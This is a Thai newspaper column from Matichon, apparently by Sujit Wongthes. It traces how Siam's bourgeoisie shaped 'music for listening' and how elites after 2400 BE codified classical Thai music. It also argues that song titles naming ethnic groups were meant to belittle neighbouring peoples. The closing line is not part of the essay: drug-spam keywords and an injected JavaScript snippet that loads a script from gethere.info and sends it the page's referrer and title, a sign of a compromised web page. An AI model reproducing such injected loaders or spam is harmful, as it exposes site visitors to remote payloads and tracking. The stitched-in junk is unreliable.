มติชนรายวัน ฉบับประจำวันพุธที่  29  ธันวาคม  2553

กระฎุมพีสยาม พัฒนาดนตรีเพื่อฟัง หลังปฏิวัติอุตสาหกรรมในยุโรป เมื่อหลัง พ.ศ. 2300

ต่อมาหลัง พ.ศ. 2400 “ผู้ดี”คนชั้นนำสร้างแบบฉบับ“ดนตรีไทย” เพื่อความเป็นไทย

หลังปฏิวัติอุตสาหกรรม ราวปลายแผ่นดินพระเจ้าตากและหลังอังกฤษยึดครองอินเดียกับลังกา การค้าโลกมั่งคั่งกว้างขวาง ทำให้คนชั้นกระฎุมพีมีจำนวนมากขึ้นในสยาม แล้วมีพลังผลักดันให้เกิดวัฒนธรรมใหม่ เรียก“ดนตรีเพื่อฟัง”Ž ตามแบบตะวันตก

ดนตรีเพื่อฟังทำนองลีลาดนตรีสนองความต้องการส่วนบุคคล น่าจะมีสืบเนื่องมาแต่ครั้งกรุงเก่า เพราะมโหรีฝรั่งดนตรีเพื่อฟังมีมาแล้วตั้งแต่ยุคอยุธยา แพร่หลายในหมู่“ผู้ดีŽ” คนชั้นศักดินา มีหลักฐานอยู่ในหมายรับสั่งครั้งกรุงธนบุรี

ส่วนลักษณะสำนึกปัจเจกบุคคลมีพยานในพระราชนิพนธ์กาพย์ห่อโคลงของ เจ้าฟ้าธรรมธิเบศร์ (กุ้ง)

พระอภัยมณี (ของสุนทรภู่) เรียนวิชาเป่าปี่ แล้วเป่าปี่ให้คนฟังเคลิบเคลิ้มเพลิดเพลินจนหลับใหล สะท้อนให้เห็นความรับรู้และความนิยมต่อสำนึกปัจเจกชนดนตรีเพื่อฟังมีอย่างกว้างขวาง

นอกจากนั้นยังยืนยันได้ด้วยประวัติ“เดี่ยวปี่Ž” ครูมีแขก “เป่าทยอยลอยลั่นบรรเลงลือŽ” ว่าแท้จริงแล้วคือดนตรีเพื่อฟังตามแบบยุโรป

คนชั้นนำกระฎุมพีสร้างแบบฉบับดนตรีไทยเพื่อความเป็นไทย ตั้งแต่หลัง พ.ศ. 2400 ตราบจนทุกวันนี้

ดนตรีไทยแบบฉบับมี 3 อย่าง คือ วงปี่พาทย์, วงมโหรี, วงเครื่องสาย ล้วนเป็นดนตรีแพร่หลายอยู่บริเวณที่ราบลุ่มน้ำเจ้าพระยามาแต่เดิม โดยไม่มีดนตรีของลุ่มน้ำอื่น เช่น ลุ่มน้ำปิง, ลุ่มน้ำมูล, ลุ่มน้ำปัตตานี, ฯลฯ

ลักษณะเฉพาะของดนตรีไทยแบบฉบับต้องมีดังนี้—เพลงเถา, เอื้อน, เดี่ยว, ประชัน แล้วมีอย่างอื่นๆด้วย เช่น ชื่อเพลงขึ้นต้นด้วยชาติพันธุ์, เพลงออกภาษา

ชื่อเพลงดนตรีไทยขึ้นต้นด้วยชื่อชาติพันธุ์ เริ่มนิยมอย่างแพร่หลายตั้งแต่ราวหลัง พ.ศ. 2400 หรือราวรัชกาลที่ 4 เป็นต้นมา เพื่อแสดงความเป็นอื่นที่ด้อยกว่า และอวดความเป็นสยามที่เหนือกว่า

แต่อีกด้านหนึ่งก็แสดงให้เห็นลักษณะความสัมพันธ์แบบเครือญาติของสยามกับเพื่อนบ้านโดยรอบที่ระบุชื่อชาติพันธุ์ เช่น เขมรพายเรือ, พม่าแทงกบ, มอญดูดาว, ลาวกระทบไม้, ญวนทอดแห, จีนขิมเล็ก, แขกต่อยหม้อ, ฯลฯ

ชื่อชาติพันธุ์ที่แสดงความเป็นอื่นที่ด้อยกว่า เริ่มมีใช้แพร่หลายในรัชกาลที่ 4 ไม่เคยมีก่อนหน้านั้น เช่น เขมรป่าดง, ขอมแปรพักตร์, ฯลฯ

ความเป็นอื่นที่ด้อยกว่า กับความเป็นสยามที่เหนือกว่า ไม่จำเป็นต้องมีจริงในโลก เช่น ฝรั่งไม่ด้อยกว่าสยาม และสยามไม่เหนือกว่าฝรั่ง แต่ในโลกลวงๆของสยามแล้ว ความเป็นอื่นต้องด้อยกว่าทั้งนั้น ไม่ว่าในโลกจริงจะเป็นอย่างไร

เพลงออกภาษา หรือ สิบสองภาษา แสดงความด้อยกว่าของคนอื่น และเหนือกว่าของสยาม เห็นได้จากเริ่มต้นด้วยเพลงกราวนอก ถือเป็นทำนองไทย เนื้อร้องแสดงการยกทัพที่มีไทยเป็นแม่ทัพ เพลงลำดับต่อไปมีเนื้อร้องตอนหนึ่งว่ายกทัพไปจับมอญและคนอื่นๆ

ทำนองเพลงต่อจากนั้นเป็นลักษณะที่ไทยยกตนข่มท่าน คือเหยียดชาติพันธุ์อื่นๆ ล้วนล้าหลังตลกคะนอง, โง่เง่าเต่าตุ่น, และบ้านนอก เป็นต้น

ดนตรีไทย มาจากไหน? มีในเว็บ

ไม่สงวนลิขสิทธิ์ www.sujitwongthes.com

viagra professional sublingual generic propecia onlines.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;